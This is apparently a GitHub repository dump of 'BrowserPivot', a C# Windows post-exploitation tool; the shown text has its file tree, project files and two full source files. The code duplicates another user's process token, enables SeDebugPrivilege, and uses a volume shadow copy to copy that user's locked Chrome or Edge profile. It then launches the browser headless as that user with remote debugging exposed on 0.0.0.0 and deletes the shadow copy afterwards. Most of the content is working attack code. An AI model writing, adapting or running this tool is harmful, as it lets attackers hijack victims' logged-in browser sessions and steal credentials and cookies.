├── .vs
└── BrowserPivot
│ └── v16
│ └── .suo
├── BrowserPivot.sln
├── BrowserPivot
├── BrowserPivot.csproj
├── BrowserPivot.csproj.user
├── Costura64
│ └── CommandLine.dll
├── FodyWeavers.xml
├── FodyWeavers.xsd
├── ImpersonationUser.cs
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
├── file_managent.cs
├── packages.config
└── win32api.cs
├── README.md
├── packages
├── CommandLineParser.2.9.1
│ ├── .signature.p7s
│ ├── CommandLine20.png
│ ├── CommandLineParser.2.9.1.nupkg
│ ├── License.md
│ ├── README.md
│ └── lib
│ │ ├── net40
│ │ ├── CommandLine.dll
│ │ └── CommandLine.xml
│ │ ├── net45
│ │ ├── CommandLine.dll
│ │ └── CommandLine.xml
│ │ ├── net461
│ │ ├── CommandLine.dll
│ │ └── CommandLine.xml
│ │ └── netstandard2.0
│ │ ├── CommandLine.dll
│ │ └── CommandLine.xml
├── Costura.Fody.1.6.2
│ ├── .signature.p7s
│ ├── Costura.Fody.1.6.2.nupkg
│ ├── Costura.Fody.dll
│ ├── Costura.Fody.pdb
│ ├── Costura.Tasks.dll
│ ├── Costura.Tasks.pdb
│ ├── build
│ │ ├── dotnet
│ │ │ └── Costura.Fody.targets
│ │ └── portable-net+sl+win+wpa+wp
│ │ │ └── Costura.Fody.targets
│ ├── lib
│ │ ├── dotnet
│ │ │ ├── Costura.dll
│ │ │ └── Costura.pdb
│ │ └── portable-net+sl+win+wpa+wp
│ │ │ ├── Costura.dll
│ │ │ └── Costura.pdb
│ └── tools
│ │ ├── install.ps1
│ │ └── uninstall.ps1
├── Fody.2.0.0
│ ├── .signature.p7s
│ ├── Content
│ │ └── FodyWeavers.xml
│ ├── Fody.2.0.0.nupkg
│ ├── Fody.dll
│ ├── Fody.pdb
│ ├── FodyCommon.dll
│ ├── FodyCommon.pdb
│ ├── FodyIsolated.dll
│ ├── FodyIsolated.pdb
│ ├── Mono.Cecil.Mdb.dll
│ ├── Mono.Cecil.Pdb.dll
│ ├── Mono.Cecil.Rocks.dll
│ ├── Mono.Cecil.dll
│ ├── Tools
│ │ └── install.ps1
│ └── build
│ │ ├── dotnet
│ │ └── Fody.targets
│ │ ├── netstandard1.4
│ │ └── Fody.targets
│ │ └── portable-net+sl+win+wpa+wp
│ │ └── Fody.targets
└── Newtonsoft.Json.13.0.3
│ ├── .signature.p7s
│ ├── LICENSE.md
│ ├── Newtonsoft.Json.13.0.3.nupkg
│ ├── README.md
│ ├── lib
│ ├── net20
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── net35
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── net40
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── net45
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── net6.0
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── netstandard1.0
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ ├── netstandard1.3
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ └── netstandard2.0
│ │ ├── Newtonsoft.Json.dll
│ │ └── Newtonsoft.Json.xml
│ └── packageIcon.png
└── starfile.jpeg
/.vs/BrowserPivot/v16/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/.vs/BrowserPivot/v16/.suo
--------------------------------------------------------------------------------
/BrowserPivot.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.33130.400
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "BrowserPivot", "BrowserPivot\BrowserPivot.csproj", "{7D2C1AB6-06CE-4440-9C46-382447F78F9A}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {7D2C1AB6-06CE-4440-9C46-382447F78F9A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {7D2C1AB6-06CE-4440-9C46-382447F78F9A}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {7D2C1AB6-06CE-4440-9C46-382447F78F9A}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {7D2C1AB6-06CE-4440-9C46-382447F78F9A}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {158D300D-FB1D-4401-B9B7-543668BBEA12}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/BrowserPivot/BrowserPivot.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {7D2C1AB6-06CE-4440-9C46-382447F78F9A}
8 | Exe
9 | BrowserPivot
10 | BrowserPivot
11 | v4.0
12 | 512
13 | true
14 | publish\
15 | true
16 | Disk
17 | false
18 | Foreground
19 | 7
20 | Days
21 | false
22 | false
23 | true
24 | 0
25 | 1.0.0.%2a
26 | false
27 | false
28 | true
29 |
30 |
31 |
32 |
33 | AnyCPU
34 | true
35 | full
36 | false
37 | bin\Debug\
38 | DEBUG;TRACE
39 | prompt
40 | 4
41 |
42 |
43 | AnyCPU
44 | none
45 | true
46 | bin\Release\
47 | TRACE
48 | prompt
49 | 4
50 |
51 |
52 |
53 | ..\packages\CommandLineParser.2.9.1\lib\net40\CommandLine.dll
54 |
55 |
56 | ..\packages\Costura.Fody.1.6.2\lib\portable-net+sl+win+wpa+wp\Costura.dll
57 | False
58 |
59 |
60 |
61 | ..\packages\Newtonsoft.Json.13.0.3\lib\net40\Newtonsoft.Json.dll
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 | False
86 | .NET Framework 3.5 SP1
87 | false
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 | 这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。
100 |
101 |
102 |
103 |
104 |
105 |
--------------------------------------------------------------------------------
/BrowserPivot/BrowserPivot.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | publish\
5 |
6 |
7 |
8 |
9 |
10 | zh-CN
11 | false
12 |
13 |
--------------------------------------------------------------------------------
/BrowserPivot/Costura64/CommandLine.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/StarfireLab/BrowserPivot/a2abc84cc50b58da22eeb7e822c87797ad2175a8/BrowserPivot/Costura64/CommandLine.dll
--------------------------------------------------------------------------------
/BrowserPivot/FodyWeavers.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/BrowserPivot/FodyWeavers.xsd:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 | 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed.
10 |
11 |
12 |
13 |
14 | A comma-separated list of error codes that can be safely ignored in assembly verification.
15 |
16 |
17 |
18 |
19 | 'false' to turn off automatic generation of the XML Schema file.
20 |
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/BrowserPivot/ImpersonationUser.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.Win32.SafeHandles;
2 | using System;
3 | using System.Diagnostics;
4 | using System.Runtime.InteropServices;
5 | using System.Security.Principal;
6 |
7 | namespace BrowserPivot
8 | {
9 | class createprogress
10 | {
11 | [StructLayout(LayoutKind.Sequential)]
12 | public struct STARTUPINFO
13 | {
14 | public uint cb;
15 | public string lpReserved;
16 | public string lpDesktop;
17 | public string lpTitle;
18 | public uint dwX;
19 | public uint dwY;
20 | public uint dwXSize;
21 | public uint dwYSize;
22 | public uint dwXCountChars;
23 | public uint dwYCountChars;
24 | public uint dwFillAttribute;
25 | public uint dwFlags;
26 | public short wShowWindow;
27 | public short cbReserved2;
28 | public IntPtr lpReserved2;
29 | public IntPtr hStdInput;
30 | public IntPtr hStdOutput;
31 | public IntPtr hStdError;
32 |
33 | }
34 |
35 | internal enum SECURITY_IMPERSONATION_LEVEL
36 | {
37 | SecurityAnonymous,
38 | SecurityIdentification,
39 | SecurityImpersonation,
40 | SecurityDelegation
41 | }
42 |
43 | internal enum TOKEN_TYPE
44 | {
45 | TokenPrimary = 1,
46 | TokenImpersonation
47 | }
48 |
49 | [StructLayout(LayoutKind.Sequential)]
50 | internal struct PROCESS_INFORMATION
51 | {
52 | public IntPtr hProcess;
53 | public IntPtr hThread;
54 | public uint dwProcessId;
55 | public uint dwThreadId;
56 | }
57 |
58 |
59 |
60 | [StructLayout(LayoutKind.Sequential)]
61 | internal struct SECURITY_ATTRIBUTES
62 | {
63 | public uint nLength;
64 | public IntPtr lpSecurityDescriptor;
65 | public bool bInheritHandle;
66 | }
67 |
68 |
69 | [DllImport("advapi32.dll", SetLastError = true)]
70 | [return: MarshalAs(UnmanagedType.Bool)]
71 | static extern bool OpenProcessToken(IntPtr ProcessHandle,
72 | UInt32 DesiredAccess, out IntPtr TokenHandle);
73 |
74 | [DllImport("advapi32.dll", SetLastError = true)]
75 | public static extern bool DuplicateTokenEx(
76 | IntPtr hExistingToken,
77 | Int32 dwDesiredAccess,
78 | ref SECURITY_ATTRIBUTES lpThreadAttributes,
79 | Int32 ImpersonationLevel,
80 | Int32 dwTokenType,
81 | ref IntPtr phNewToken);
82 |
83 | [DllImport("advapi32.dll", EntryPoint = "CreateProcessWithTokenW", SetLastError = true,
84 | CharSet = CharSet.Unicode,
85 | CallingConvention = CallingConvention.StdCall)]
86 | private extern static bool CreateProcessWithTokenW(
87 | IntPtr hToken,
88 | uint dwLogonFlags,
89 | String lpApplicationName,
90 | String lpCommandLine,
91 | uint dwCreationFlags,
92 | IntPtr lpEnvironment,
93 | String lpCurrentDirectory,
94 | ref STARTUPINFO lpStartupInfo,
95 | out PROCESS_INFORMATION lpProcessInformation);
96 |
97 | [DllImport("kernel32.dll", SetLastError = true)]
98 | static extern IntPtr GetCurrentProcess();
99 |
100 | private const int GENERIC_ALL_ACCESS = 0x10000000;
101 |
102 | public const uint LOGON_WITH_PROFILE = 00000001;
103 | public const uint NORMAL_PRIORITY_CLASS = 0x00000020;
104 | private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
105 | private static uint STANDARD_RIGHTS_REQUIRED = 0x000F0000;
106 | private static uint STANDARD_RIGHTS_READ = 0x00020000;
107 | private static uint TOKEN_ASSIGN_PRIMARY = 0x0001;
108 | private static uint TOKEN_DUPLICATE = 0x0002;
109 | private static uint TOKEN_IMPERSONATE = 0x0004;
110 | private static uint TOKEN_QUERY = 0x0008;
111 | private static uint TOKEN_QUERY_SOURCE = 0x0010;
112 | private static uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
113 | private static uint TOKEN_ADJUST_GROUPS = 0x0040;
114 | private static uint TOKEN_ADJUST_DEFAULT = 0x0080;
115 | private static uint TOKEN_ADJUST_SESSIONID = 0x0100;
116 | private static uint TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
117 | private static uint TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
118 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
119 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
120 | TOKEN_ADJUST_SESSIONID);
121 |
122 | public static string ImpersonUser(int procId)
123 | {
124 | IntPtr tokenhandle;
125 |
126 | //int procId = Process.GetProcessesByName(process).First().Id;
127 | SafeWaitHandle procHandle = new SafeWaitHandle(Process.GetProcessById(procId).Handle, true);
128 |
129 |
130 | if (!OpenProcessToken(procHandle.DangerousGetHandle(), TOKEN_ALL_ACCESS, out tokenhandle))
131 | {
132 | Console.WriteLine("[!] Failed open process token");
133 | return null;
134 |
135 | };
136 |
137 | IntPtr newtoken = IntPtr.Zero;
138 | SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
139 |
140 |
141 | if (!DuplicateTokenEx(tokenhandle, (int)(TOKEN_ALL_ACCESS), ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, (int)TOKEN_TYPE.TokenPrimary, ref newtoken))
142 | {
143 |
144 | int error = Marshal.GetLastWin32Error();
145 | string message = String.Format("DuplicateTokenEx Error: {0}", error);
146 | Console.WriteLine(message);
147 | return null;
148 | }
149 | WindowsIdentity ident = new WindowsIdentity(newtoken);
150 |
151 |
152 | return ident.Name;
153 | }
154 | public static int CreateProgress(int procId, string cmd)
155 | {
156 | IntPtr tokenhandle;
157 |
158 | //int procId = Process.GetProcessesByName(process).First().Id;
159 | SafeWaitHandle procHandle = new SafeWaitHandle(Process.GetProcessById(procId).Handle, true);
160 | Console.WriteLine("[+] Process handle: True");
161 |
162 | if (!OpenProcessToken(procHandle.DangerousGetHandle(), TOKEN_ALL_ACCESS, out tokenhandle))
163 | {
164 | Console.WriteLine("[!] Failed open process token");
165 | return 100;
166 | //Console.WriteLine(OpenThreadToken((IntPtr)calcProcess, TOKEN_ADJUST_PRIVILEGES, false, out tokenhandle));
167 | };
168 | //Console.WriteLine("[+] Successfully called OpenProcessToken");
169 | IntPtr newtoken = IntPtr.Zero;
170 | SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
171 |
172 |
173 | if (!DuplicateTokenEx(tokenhandle, (int)(TOKEN_ALL_ACCESS), ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, (int)TOKEN_TYPE.TokenPrimary, ref newtoken))
174 | {
175 |
176 | Console.WriteLine("[!] Failed duplicating process token ");
177 | int error = Marshal.GetLastWin32Error();
178 | string message = String.Format("DuplicateTokenEx Error: {0}", error);
179 | Console.WriteLine(message);
180 | return 101;
181 | }
182 | WindowsIdentity ident = new WindowsIdentity(newtoken);
183 | Console.WriteLine("[+] Impersonated user: " + ident.Name);
184 |
185 |
186 | PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
187 | STARTUPINFO si = new STARTUPINFO();
188 |
189 | if (!CreateProcessWithTokenW(newtoken, LOGON_WITH_PROFILE, null, cmd, NORMAL_PRIORITY_CLASS | CREATE_UNICODE_ENVIRONMENT, IntPtr.Zero, null, ref si, out pi))
190 | {
191 | Console.WriteLine("[!] Failed create process with token ");
192 | int error = Marshal.GetLastWin32Error();
193 | string message = String.Format("[!] CreateProcessWithTokenW Error: {0}", error);
194 | Console.WriteLine(message);
195 | return 102;
196 | }
197 |
198 | Console.WriteLine("[+] Start process: {0}", cmd);
199 | return 103;
200 | }
201 |
202 | }
203 | class Priviledge
204 | {
205 | [DllImport("advapi32.dll", SetLastError = true)]
206 | [return: MarshalAs(UnmanagedType.Bool)]
207 | static extern bool OpenProcessToken(IntPtr ProcessHandle,
208 | UInt32 DesiredAccess, out IntPtr TokenHandle);
209 |
210 | private static uint STANDARD_RIGHTS_REQUIRED = 0x000F0000;
211 | private static uint STANDARD_RIGHTS_READ = 0x00020000;
212 | private static uint TOKEN_ASSIGN_PRIMARY = 0x0001;
213 | private static uint TOKEN_DUPLICATE = 0x0002;
214 | private static uint TOKEN_IMPERSONATE = 0x0004;
215 | private static uint TOKEN_QUERY = 0x0008;
216 | private static uint TOKEN_QUERY_SOURCE = 0x0010;
217 | private static uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
218 | private static uint TOKEN_ADJUST_GROUPS = 0x0040;
219 | private static uint TOKEN_ADJUST_DEFAULT = 0x0080;
220 | private static uint TOKEN_ADJUST_SESSIONID = 0x0100;
221 | private static uint TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY);
222 | private static uint TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
223 | TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
224 | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
225 | TOKEN_ADJUST_SESSIONID);
226 |
227 | [DllImport("kernel32.dll", SetLastError = true)]
228 | static extern IntPtr GetCurrentProcess();
229 |
230 | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)]
231 | [return: MarshalAs(UnmanagedType.Bool)]
232 | static extern bool LookupPrivilegeValue(string lpSystemName, string lpName,
233 | out LUID lpLuid);
234 | public const string SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege";
235 |
236 | public const string SE_AUDIT_NAME = "SeAuditPrivilege";
237 |
238 | public const string SE_BACKUP_NAME = "SeBackupPrivilege";
239 |
240 | public const string SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege";
241 |
242 | public const string SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege";
243 |
244 | public const string SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege";
245 |
246 | public const string SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege";
247 |
248 | public const string SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege";
249 |
250 | public const string SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege";
251 |
252 | public const string SE_DEBUG_NAME = "SeDebugPrivilege";
253 |
254 | public const string SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege";
255 |
256 | public const string SE_IMPERSONATE_NAME = "SeImpersonatePrivilege";
257 |
258 | public const string SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege";
259 |
260 | public const string SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege";
261 |
262 | public const string SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege";
263 |
264 | public const string SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege";
265 |
266 | public const string SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege";
267 |
268 | public const string SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege";
269 |
270 | public const string SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege";
271 |
272 | public const string SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege";
273 |
274 | public const string SE_RELABEL_NAME = "SeRelabelPrivilege";
275 |
276 | public const string SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege";
277 |
278 | public const string SE_RESTORE_NAME = "SeRestorePrivilege";
279 |
280 | public const string SE_SECURITY_NAME = "SeSecurityPrivilege";
281 |
282 | public const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
283 |
284 | public const string SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege";
285 |
286 | public const string SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege";
287 |
288 | public const string SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege";
289 |
290 | public const string SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege";
291 |
292 | public const string SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege";
293 |
294 | public const string SE_TCB_NAME = "SeTcbPrivilege";
295 |
296 | public const string SE_TIME_ZONE_NAME = "SeTimeZonePrivilege";
297 |
298 | public const string SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege";
299 |
300 | public const string SE_UNDOCK_NAME = "SeUndockPrivilege";
301 |
302 | public const string SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege";
303 | [StructLayout(LayoutKind.Sequential)]
304 | public struct LUID
305 | {
306 | public UInt32 LowPart;
307 | public Int32 HighPart;
308 | }
309 | [StructLayout(LayoutKind.Sequential)]
310 | public struct TOKEN_PRIVILEGES
311 | {
312 | public UInt32 PrivilegeCount;
313 | public LUID Luid;
314 | public UInt32 Attributes;
315 | }
316 | [StructLayout(LayoutKind.Sequential)]
317 | public struct LUID_AND_ATTRIBUTES
318 | {
319 | public LUID Luid;
320 | public UInt32 Attributes;
321 | }
322 |
323 | [DllImport("kernel32.dll", SetLastError = true)]
324 | static extern bool CloseHandle(IntPtr hHandle);
325 |
326 | public const UInt32 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001;
327 | public const UInt32 SE_PRIVILEGE_ENABLED = 0x00000002;
328 | public const UInt32 SE_PRIVILEGE_REMOVED = 0x00000004;
329 | public const UInt32 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000;
330 |
331 | // Use this signature if you do not want the previous state
332 | [DllImport("advapi32.dll", SetLastError = true)]
333 | [return: MarshalAs(UnmanagedType.Bool)]
334 | static extern bool AdjustTokenPrivileges(IntPtr TokenHandle,
335 | [MarshalAs(UnmanagedType.Bool)] bool DisableAllPrivileges,
336 | ref TOKEN_PRIVILEGES NewState,
337 | UInt32 Zero,
338 | IntPtr Null1,
339 | IntPtr Null2);
340 |
341 | public static void EnableDebugPri(int procId)
342 | {
343 | IntPtr hToken;
344 | LUID luidSEDebugNameValue;
345 | TOKEN_PRIVILEGES tkpPrivileges;
346 | SafeWaitHandle procHandle = new SafeWaitHandle(Process.GetProcessById(procId).Handle, true);
347 |
348 | if (!OpenProcessToken(procHandle.DangerousGetHandle(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
349 | {
350 | Console.WriteLine("[!] OpenProcessToken failed, error = {0} . SeDebugPrivilege is not available", Marshal.GetLastWin32Error());
351 | return;
352 | }
353 |
354 |
355 | if (!LookupPrivilegeValue(null, SE_DEBUG_NAME, out luidSEDebugNameValue))
356 | {
357 | Console.WriteLine("[!] LookupPrivilegeValue() failed, error = {0} .SeDebugPrivilege is not available", Marshal.GetLastWin32Error());
358 | CloseHandle(hToken);
359 | return;
360 | }
361 |
362 | tkpPrivileges.PrivilegeCount = 1;
363 | tkpPrivileges.Luid = luidSEDebugNameValue;
364 | tkpPrivileges.Attributes = SE_PRIVILEGE_ENABLED;
365 |
366 | if (!AdjustTokenPrivileges(hToken, false, ref tkpPrivileges, 0, IntPtr.Zero, IntPtr.Zero))
367 | {
368 | Console.WriteLine("[!] LookupPrivilegeValue failed, error = {0} .SeDebugPrivilege is not available", Marshal.GetLastWin32Error());
369 | return;
370 | }
371 |
372 | CloseHandle(hToken);
373 |
374 | }
375 | }
376 | }
--------------------------------------------------------------------------------
/BrowserPivot/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.Management;
4 | using System.Runtime.InteropServices;
5 | using BrowserPivot;
6 | using System.Text;
7 | using System.Security.Principal;
8 | using System.Linq;
9 | using CommandLine;
10 | using System.Net;
11 | using System.IO;
12 | using System.Threading.Tasks;
13 |
14 | class Program
15 | {
16 | #region Windows API
17 |
18 | [DllImport("user32.dll", SetLastError = true)]
19 | private static extern IntPtr FindWindowEx(IntPtr hwndParent, IntPtr hwndChildAfter, string lpszClass, string lpszWindow);
20 |
21 | [DllImport("user32.dll", SetLastError = true)]
22 | private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, StringBuilder lParam);
23 |
24 | [DllImport("user32.dll", SetLastError = true)]
25 | private static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
26 |
27 | private const uint WM_GETTEXT = 0x000D;
28 | private const uint WM_GETTEXTLENGTH = 0x000E;
29 |
30 | #endregion
31 | public static bool IsHighIntegrity()
32 | {
33 | // returns true if the current process is running with adminstrative privs in a high integrity context
34 | WindowsIdentity identity = WindowsIdentity.GetCurrent();
35 | WindowsPrincipal principal = new WindowsPrincipal(identity);
36 | return principal.IsInRole(WindowsBuiltInRole.Administrator);
37 | }
38 |
39 |
40 | public static void banner()
41 | {
42 | Console.WriteLine(@"
43 | ____ _____ _ _
44 | | _ \ | __ (_) | |
45 | | |_) |_ __ _____ _____ ___ _ __| |__) |__ _____ | |_
46 | | _ <| '__/ _ \ \ /\ / / __|/ _ \ '__| ___/ \ \ / / _ \| __|
47 | | |_) | | | (_) \ V V /\__ \ __/ | | | | |\ V / (_) | |_
48 | |____/|_| \___/ \_/\_/ |___/\___|_| |_| |_| \_/ \___/ \__|
49 | ");
50 | }
51 |
52 |
53 |
54 | class Options
55 | {
56 | [Option('p', "pid", Required = true, HelpText = "Process ID.")]
57 | public string Pid { get; set; }
58 |
59 | [Option('l', "port", Required = true, HelpText = "Local port.")]
60 | public string Port { get; set; }
61 |
62 | [Option('b', "browser", Required = true, HelpText = "Browser (chrome or msedge).")]
63 | public string Browser { get; set; }
64 | }
65 |
66 | const string dll_path = "CommandLine.dll";
67 |
68 |
69 |
70 |
71 | static void Main(string[] args)
72 | {
73 |
74 | if (!IsHighIntegrity())
75 | {
76 | Console.WriteLine("[!] Not in high integrity !!");
77 | }
78 | else
79 | {
80 | banner();
81 | Parser.Default.ParseArguments(args)
82 | .WithParsed(options =>
83 | {
84 | // 处理命令行参数
85 | string pid = options.Pid;
86 | string port = options.Port;
87 | string browser = options.Browser;
88 |
89 | string volume = "C:\\";
90 | string chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; // 可选字符集合
91 | Random random = new Random();
92 | StringBuilder sb = new StringBuilder();
93 | for (int i = 0; i < 10; i++)
94 | {
95 | sb.Append(chars[random.Next(chars.Length)]);
96 | }
97 | string randomString = sb.ToString();
98 | using (ManagementClass classInstance = new ManagementClass("Win32_ShadowCopy"))
99 | {
100 | ManagementBaseObject inParams = classInstance.GetMethodParameters("Create");
101 | inParams["Volume"] = volume;
102 | ManagementBaseObject outParams = classInstance.InvokeMethod("Create", inParams, null);
103 | }
104 | using (ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT * FROM Win32_ShadowCopy"))
105 | {
106 | //foreach (ManagementObject obj in searcher.Get())
107 | ManagementObject obj = searcher.Get().OfType().FirstOrDefault();
108 | if (obj != null)
109 | {
110 | Console.WriteLine("[+] Volume: " + obj["VolumeName"]);
111 | Console.WriteLine("[+] Shadow copy ID: " + obj["ID"]);
112 | Console.WriteLine("[+] Shadow copy device name: " + obj["DeviceObject"]);
113 |
114 | string userpath = createprogress.ImpersonUser(int.Parse(pid));
115 | string[] parts = userpath.Split('\\');
116 | string user = parts[1];
117 | string sourcePathEdge = $"{obj["DeviceObject"]}\\Users\\{user}\\AppData\\Local\\Microsoft\\Edge\\User Data";
118 | string sourcePathChrome = $"{obj["DeviceObject"]}\\Users\\{user}\\AppData\\Local\\Google\\Chrome\\User Data";
119 | string targetPath = $@"C:\Users\{user}\AppData\Local\{randomString}";
120 |
121 | string sourcePath = "";
122 | switch (browser)
123 | {
124 | case "chrome":
125 | sourcePath = sourcePathChrome;
126 | break;
127 | case "msedge":
128 | sourcePath = sourcePathEdge;
129 | break;
130 | }
131 | try
132 | {
133 | Console.WriteLine("[+] Copy directory {0} to directory {1}", sourcePath, targetPath);
134 | file_managent.copy_folder(sourcePath, targetPath);
135 | int processId = Process.GetProcessesByName(browser).First().Id; // 指定进程的 ID
136 | Process process = Process.GetProcessById(processId);
137 | string processPath = process.MainModule.FileName;
138 | Console.WriteLine("[+] {0} path: {1}" ,browser, processPath);
139 | string cmd = processPath + " --user-data-dir=" + targetPath + " --remote-debugging-port=" + port + " --remote-debugging-address=0.0.0.0 --headless about:blank";
140 | Priviledge.EnableDebugPri(int.Parse(pid));
141 | createprogress.CreateProgress(int.Parse(pid), cmd);
142 | ManagementScope scope = new ManagementScope("\\\\localhost\\root\\cimv2");
143 | scope.Connect();
144 | // 构造查询语句
145 | string query = $"SELECT * FROM Win32_ShadowCopy WHERE ID=" + obj["ID"];
146 |
147 | // 执行查询
148 | ManagementObjectSearcher searcher1 = new ManagementObjectSearcher(scope, new ObjectQuery(query));
149 | ManagementObjectCollection results = searcher.Get();
150 | foreach (ManagementObject res in results)
151 | {
152 | res.Delete();
153 | }
154 | Console.WriteLine("[+] Shadows deleted successfully");
155 | }
156 | catch (Exception ex)
157 | {
158 | ManagementScope scope = new ManagementScope("\\\\localhost\\root\\cimv2");
159 | scope.Connect();
160 | // 构造查询语句
161 | string query = $"SELECT * FROM Win32_ShadowCopy WHERE ID=" + obj["ID"];
162 |
163 | // 执行查询
164 | ManagementObjectSearcher searcher1 = new ManagementObjectSearcher(scope, new ObjectQuery(query));
165 | ManagementObjectCollection results = searcher.Get();
166 | Console.WriteLine("[-] Error: " + ex);
167 | foreach (ManagementObject result in results)
168 | {
169 | result.Delete();
170 | }
171 | Console.WriteLine("[+] Delete shadows success");
172 | }
173 | }
174 | }
175 | })
176 | .WithNotParsed(errors =>
177 | {
178 | // 处理解析错误
179 | });
180 | }
181 | }
182 | }
183 |
--------------------------------------------------------------------------------
/BrowserPivot/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
